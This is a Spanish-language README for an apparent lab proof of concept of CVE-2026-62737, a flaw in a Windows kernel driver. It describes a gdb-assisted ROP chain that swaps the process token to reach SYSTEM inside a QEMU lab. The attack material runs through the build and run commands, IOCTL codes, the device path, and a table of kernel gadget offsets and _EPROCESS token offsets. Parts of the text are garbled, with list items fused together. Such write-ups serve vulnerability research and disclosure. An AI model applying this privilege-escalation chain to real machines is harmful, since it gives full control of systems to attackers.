
Eleva un proceso de Windows con bajos privilegios a SYSTEM mediante una cadena ROP de intercambio de tokens asistida por gdb, demostrando CVE-2026-62737 en un entorno QEMU exclusivamente de laboratorio.
Una continuación del análisis original de CVE-2026-62737 (llamada indirecta arbitraria al kernel de ExecutionContext.sys). Convierte el PoC del crash en una cadena de intercambio de tokens funcional que lanza cmd.exe como SYSTEM, pero solo en un laboratorio donde un depurador proporciona las direcciones y escribe la cadena ROP en la memoria del kernel. Esto no es un exploit independiente.
ExecutionContext a través del proxy KLoader como un usuario de bajos privilegios.0x22EC40) y pone en cola una tarea (0x22AC54) cuyo Callback es un pivot de ROP en el kernel.patch_rop.py) escribe una cadena ROP de intercambio de tokens en ExecutionContext .data y captura el RSP/RBP en el momento del pivot mediante un breakpoint de hardware.0x226C5C), la cadena intercambia nuestro token por el de SYSTEM, restaura la pila del kernel y regresa al dispatcher del driver para que el worker sobreviva.gdbserver tcp::1234), un guest agent, y una carpeta compartida host/guest montada como Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) y gdb en el host.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Obtén bases actualizadas: ./ga.py 'Z:\modlist.exe' (después de copiar modlist.exe a la carpeta compartida)
Actualiza los scripts: ./refresh_bases.sh
Copia exploit.exe y modlist.exe a la carpeta compartida.
Ejecuta el exploit como el usuario de bajos privilegios: exploit.exe <nt> <ec> <ec+0x10A00>. Escribe su PID en Z:\lab_pid.txt y espera a Z:\go_lab.txt.
Conecta gdb, apuntando LAB_PID_FILE a la copia local de lab_pid.txt:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
Escribe continue en el prompt de gdb.
MIT, consulta LICENSE.
| Archivo | Propósito |
|---|
exploit.c | Exploit de laboratorio: init + cola + espera del parche de gdb + comprobación de token + spawn de cmd. |
patch_rop.py | Script de gdb: localiza nuestro EPROCESS, escribe la cadena ROP, arma el breakpoint del pivot. |
trace_rop.py | Misma configuración, pero ejecuta la cadena paso a paso para depuración. |
refresh_bases.sh | Actualiza las bases nt/ec por arranque en los scripts de gdb a partir de la salida de modlist.exe. |
modlist.c | Imprime la base de ntoskrnl / ExecutionContext por arranque (oráculo de KASLR de laboratorio). |
ga.py | Ejecuta comandos dentro de la VM de laboratorio mediante el guest agent de QEMU. |
Libera el exploit: touch /path/to/shared/go_lab.txt
Después de ~15 s, Z:\lab_exploit_out.txt debería mostrar system=1 y Z:\lab_shell_out.txt debería contener nt authority\system.
| Elemento | Valor |
|---|
| ROP pivot (full) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |